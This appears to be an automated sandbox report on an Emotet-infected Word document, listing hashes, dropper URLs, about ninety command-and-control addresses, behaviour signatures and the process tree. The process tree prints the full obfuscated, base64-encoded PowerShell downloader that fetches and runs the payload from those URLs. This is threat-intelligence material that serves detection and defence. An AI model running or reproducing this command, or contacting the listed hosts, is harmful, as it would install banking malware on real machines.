emotet | 4eb0f14ad3f635965ea0fafdae6c9212c194249521cfb39bab99ca8a69751473

Analysis

max time kernel
136s
max time network
138s
platform
windows10_x64
resource
win10
submitted
30/09/2020, 23:16

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General

Target
Untitled-20201001-ABY910.doc
Size 124KB
Sample200930-e1cfqb9h3j
SHA256 4eb0f14ad3f635965ea0fafdae6c9212c194249521cfb39bab99ca8a69751473
MD5 684fd2ef4d118304fe1ca5e66b249f0d
SHA1 c83c1545b0a232f6b0e9f8dd161c9c9a00601315
SHA512 9f95312318ee4e4d9753e7f32fdd03194d4d5992a3f54ffc70d5af4dac897e6abdf8b4264c67c0e8904ca8f980aae50da37f5d2052ba748ce58ea40a2960530d
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://movewithketty.com/cgi-bin/LXr/
exe.dropper
http://pixnbeats.com/chanakua.org/6/
exe.dropper
http://trainingbodies.com/Reporting/YR/
exe.dropper
http://voxdream.com/wp-includes/0Oj/
exe.dropper
https://travcalls.com/blogs/E/
exe.dropper
http://aeropilates.cl/wp-content/rNM/
exe.dropper
http://hesa.co.id/_errorpages/1x/

Extracted

Family

emotet

202.22.141.45:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
82.76.111.249:443
216.47.196.104:80
192.241.143.52:8080
192.81.38.31:80
87.106.253.248:8080
64.201.88.132:80
192.241.146.84:8080
12.162.84.2:8080
1.226.84.243:8080
177.129.17.170:443
202.134.4.210:7080
70.169.17.134:80
152.169.22.67:80
5.196.35.138:7080
138.97.60.141:7080
203.205.28.68:80
83.169.21.32:7080
191.182.6.118:80
190.188.245.242:80
62.84.75.50:80
181.74.0.251:80
189.2.177.210:443
111.67.12.221:8080
188.135.15.49:80
217.13.106.14:8080
68.183.190.199:8080
178.250.54.208:8080
189.35.44.221:80
201.213.177.139:80
137.74.106.111:7080
177.73.0.98:443
70.32.84.74:8080
51.15.7.145:80
177.74.228.34:80
185.94.252.27:443
50.121.220.50:80
186.70.127.199:8090
85.214.26.7:8080
181.129.96.162:8080
70.32.115.157:8080
82.230.1.24:80
60.93.23.51:80
213.197.182.158:8080
149.202.72.142:7080
190.115.18.139:8080
72.167.223.217:8080
190.24.243.186:80
109.169.12.78:80
94.176.234.118:443
185.232.182.218:80
219.92.13.25:80
209.236.123.42:8080
119.106.216.84:80
51.255.165.160:8080
51.75.33.127:80
51.15.7.189:80
61.197.92.216:80
5.189.178.202:8080
172.104.169.32:8080
45.33.77.42:8080
98.13.75.196:80
74.58.215.226:80
68.183.170.114:8080
155.186.0.121:80
190.117.79.209:80
128.92.203.42:80
202.4.58.197:80
70.116.143.84:80
77.238.212.227:80
67.247.242.247:80
12.163.208.58:80
212.71.237.140:8080
46.43.2.95:8080
96.227.52.8:443
186.103.141.250:443
185.94.252.12:80
104.131.41.185:8080
45.46.37.97:80
95.9.180.128:80
87.106.46.107:8080
50.28.51.143:8080
65.36.62.20:80
35.143.99.174:80
51.38.124.206:80
185.183.16.47:80
181.30.61.163:443
170.81.48.2:80
74.136.144.133:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1560	492	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2808-15-0x0000000002180000-0x0000000002192000-memory.dmp	emotet
behavioral2/memory/2808-16-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/3724-19-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet
behavioral2/memory/3724-20-0x00000000004E0000-0x00000000004F0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
13	1560	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2808	Eqfkis.exe
3724	Dism.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\SearchFolder\Dism.exe	Eqfkis.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2728	WINWORD.EXE
2728	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1560	POwersheLL.exe
1560	POwersheLL.exe
1560	POwersheLL.exe
3724	Dism.exe
3724	Dism.exe
3724	Dism.exe
3724	Dism.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1560	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
2728	WINWORD.EXE
2728	WINWORD.EXE
2728	WINWORD.EXE
2728	WINWORD.EXE
2728	WINWORD.EXE
2728	WINWORD.EXE
2728	WINWORD.EXE
2728	WINWORD.EXE
2728	WINWORD.EXE
2808	Eqfkis.exe
3724	Dism.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1560 wrote to memory of 2808	1560	POwersheLL.exe	78
PID 1560 wrote to memory of 2808	1560	POwersheLL.exe	78
PID 1560 wrote to memory of 2808	1560	POwersheLL.exe	78
PID 2808 wrote to memory of 3724	2808	Eqfkis.exe	81
PID 2808 wrote to memory of 3724	2808	Eqfkis.exe	81
PID 2808 wrote to memory of 3724	2808	Eqfkis.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Untitled-20201001-ABY910.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2728

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABXAHIAaQBlAGcAZQBhAD0AKAAoACcAVABsACcAKwAnAGYAJwApACsAKAAnAHkAMAAnACsAJwA0ADUAJwApACkAOwAmACgAJwBuAGUAdwAnACsAJwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAG4AVgA6AHUAcwBFAFIAcABSAE8AZgBpAEwAZQBcAHAAdABoAGkAeABfAFYAXABPAFMAZwA1AFYAawByAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAEUAQwB0AE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABjAFUAcgBJAGAAVABZAFAAUgBvAHQAYABvAEMATwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAJwApACsAKAAnADEAJwArACcAMgAsACcAKQArACcAIAB0ACcAKwAnAGwAJwArACgAJwBzADEAMQAsACcAKwAnACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAEUAZQBwAHMAbQA0ADAAIAA9ACAAKAAoACcARQBxACcAKwAnAGYAJwApACsAKAAnAGsAaQAnACsAJwBzACcAKQApADsAJABDAHoAdQBsAGQAbwB5AD0AKAAnAFgAJwArACgAJwB5ADYAJwArACcAdwA3AHUAJwApACsAJwA1ACcAKQA7ACQAQwBqADIANwB3AHUAcwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAE4AJwArACcAdABjACcAKQArACgAJwBQAHQAaABpACcAKwAnAHgAJwArACcAXwB2ACcAKQArACcATgB0ACcAKwAnAGMATwAnACsAJwBzAGcAJwArACgAJwA1AHYAJwArACcAawAnACkAKwAnAHIATgAnACsAJwB0AGMAJwApAC4AIgByAGAARQBwAEwAQQBjAEUAIgAoACgAJwBOAHQAJwArACcAYwAnACkALABbAHMAVAByAGkATgBnAF0AWwBjAEgAYQByAF0AOQAyACkAKQArACQARQBlAHAAcwBtADQAMAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQATABzADMAcwBsADUAOAA9ACgAKAAnAFQAJwArACcAeQBiAHgAZgAnACkAKwAnAGUAZwAnACkAOwAkAFoAdwA5AGwAbwA4AGEAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQB0AC4AVwBFAGIAYwBsAGkARQBOAHQAOwAkAEEAaQBkAGwAMwBuAGsAPQAoACcAaAAnACsAKAAnAHQAdABwADoAJwArACcALwAvAG0AbwAnACkAKwAnAHYAJwArACgAJwBlAHcAJwArACcAaQB0AGgAJwArACcAawAnACkAKwAoACcAZQB0ACcAKwAnAHQAeQAnACkAKwAnAC4AJwArACcAYwAnACsAKAAnAG8AJwArACcAbQAvAGMAJwApACsAKAAnAGcAaQAtACcAKwAnAGIAJwApACsAJwBpAG4AJwArACcALwBMACcAKwAnAFgAJwArACcAcgAnACsAKAAnAC8AKgAnACsAJwBoACcAKQArACgAJwB0AHQAJwArACcAcAA6AC8ALwAnACsAJwBwACcAKQArACgAJwBpAHgAJwArACcAbgBiACcAKQArACgAJwBlAGEAdABzAC4AJwArACcAYwBvACcAKwAnAG0AJwApACsAKAAnAC8AYwAnACsAJwBoAGEAbgAnACkAKwAoACcAYQBrAHUAYQAuAG8AJwArACcAcgBnACcAKwAnAC8AJwArACcANgAvACcAKwAnACoAaAB0AHQAcAA6AC8ALwB0AHIAJwApACsAKAAnAGEAJwArACcAaQBuACcAKQArACcAaQBuACcAKwAnAGcAJwArACgAJwBiAG8AJwArACcAZABpACcAKQArACgAJwBlAHMALgBjAG8AbQAnACsAJwAvACcAKQArACcAUgAnACsAKAAnAGUAcABvAHIAJwArACcAdABpACcAKQArACgAJwBuACcAKwAnAGcALwBZACcAKQArACcAUgAvACcAKwAoACcAKgBoAHQAJwArACcAdABwACcAKQArACgAJwA6ACcAKwAnAC8ALwB2ACcAKwAnAG8AeAAnACkAKwAnAGQAcgAnACsAJwBlACcAKwAoACcAYQBtACcAKwAnAC4AJwApACsAJwBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAoACcAdwBwAC0AaQBuACcAKwAnAGMAJwArACcAbAAnACkAKwAoACcAdQBkAGUAcwAvACcAKwAnADAAJwApACsAJwBPACcAKwAnAGoALwAnACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAcwA6AC8AJwArACcALwB0ACcAKwAnAHIAYQB2ACcAKQArACcAYwBhACcAKwAnAGwAJwArACgAJwBsAHMALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AJwArACgAJwBiAGwAbwAnACsAJwBnAHMALwAnACkAKwAoACcARQAnACsAJwAvACoAJwApACsAKAAnAGgAdAAnACsAJwB0AHAAOgAvACcAKwAnAC8AYQBlACcAKQArACcAcgBvACcAKwAoACcAcAAnACsAJwBpAGwAYQAnACkAKwAnAHQAZQAnACsAJwBzAC4AJwArACgAJwBjACcAKwAnAGwALwAnACkAKwAnAHcAJwArACcAcAAnACsAJwAtAGMAJwArACcAbwBuACcAKwAoACcAdAAnACsAJwBlAG4AJwArACcAdAAvAHIATgBNAC8AKgBoACcAKQArACcAdAAnACsAKAAnAHQAJwArACcAcAA6AC8ALwBoAGUAJwArACcAcwAnACkAKwAoACcAYQAuACcAKwAnAGMAbwAnACsAJwAuAGkAJwArACcAZAAvAF8AZQByACcAKQArACcAcgAnACsAJwBvAHIAJwArACgAJwBwACcAKwAnAGEAZwAnACkAKwAoACcAZQBzAC8AJwArACcAMQAnACkAKwAnAHgALwAnACkALgAiAFMAUABMAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgB4AGUAcQB3ADUAOAA9ACgAKAAnAEIAZQAnACsAJwBpACcAKQArACgAJwBfAGUAJwArACcAZwAnACkAKwAnADAAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWABlADQAMgA0AHAAMQAgAGkAbgAgACQAQQBpAGQAbAAzAG4AawApAHsAdAByAHkAewAkAFoAdwA5AGwAbwA4AGEALgAiAEQAYABPAGAAVwBuAEwAbwBBAGQAZgBpAGwAZQAiACgAJABYAGUANAAyADQAcAAxACwAIAAkAEMAagAyADcAdwB1AHMAKQA7ACQASgBrAHoAMwByAF8AcwA9ACgAJwBUACcAKwAnAG4AdQAnACsAKAAnAHAAJwArACcAbgBhAGIAJwApACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAQwBqADIANwB3AHUAcwApAC4AIgBMAGUAbgBHAGAAVABoACIAIAAtAGcAZQAgADMANQA2ADEAMQApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAJwArACcAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABDAGoAMgA3AHcAdQBzACkAOwAkAE4AaQBpAHAAbwB1AHgAPQAoACcAUwAnACsAKAAnAHAAJwArACcAaAB3ADkAJwApACsAJwBkAHYAJwApADsAYgByAGUAYQBrADsAJABMAGwANwBwAG8ANgBvAD0AKAAnAFcAeQAnACsAKAAnAGoAagByACcAKwAnAHoAJwApACsAJwBiACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATABzAHYAOQAyAGYAMAA9ACgAJwBCAGcAJwArACgAJwAyAHYAawAnACsAJwB5ADUAJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1560
- C:\Users\Admin\Pthix_v\Osg5vkr\Eqfkis.exe
  "C:\Users\Admin\Pthix_v\Osg5vkr\Eqfkis.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\SysWOW64\SearchFolder\Dism.exe
    "C:\Windows\SysWOW64\SearchFolder\Dism.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3724

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1560-9-0x00007FFA78E50000-0x00007FFA7983C000-memory.dmp

Download

memory/1560-11-0x000002086FE00000-0x000002086FE01000-memory.dmp

Download

memory/1560-10-0x0000020857AC0000-0x0000020857AC1000-memory.dmp

Download

memory/2728-5-0x00000145A6ED7000-0x00000145A6ED8000-memory.dmp

Download

memory/2728-3-0x00000145A6ED8000-0x00000145A6EDD000-memory.dmp

Download

memory/2728-8-0x00000145A70BB000-0x00000145A70C0000-memory.dmp

Download

memory/2728-6-0x00000145A4704000-0x00000145A4709000-memory.dmp

Download

memory/2728-0-0x00007FFA80060000-0x00007FFA80726000-memory.dmp

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memory/2728-4-0x00000145A6ED8000-0x00000145A6EDD000-memory.dmp

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memory/2728-1-0x00000145A6ED8000-0x00000145A6EDD000-memory.dmp

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memory/2728-7-0x00000145A70BB000-0x00000145A70C0000-memory.dmp

Download

memory/2728-2-0x00000145A6ED8000-0x00000145A6EDD000-memory.dmp

Download

memory/2808-15-0x0000000002180000-0x0000000002192000-memory.dmp

Download

memory/2808-16-0x00000000001F0000-0x0000000000200000-memory.dmp

Download

memory/3724-19-0x00000000004B0000-0x00000000004C2000-memory.dmp

Download

memory/3724-20-0x00000000004E0000-0x00000000004F0000-memory.dmp

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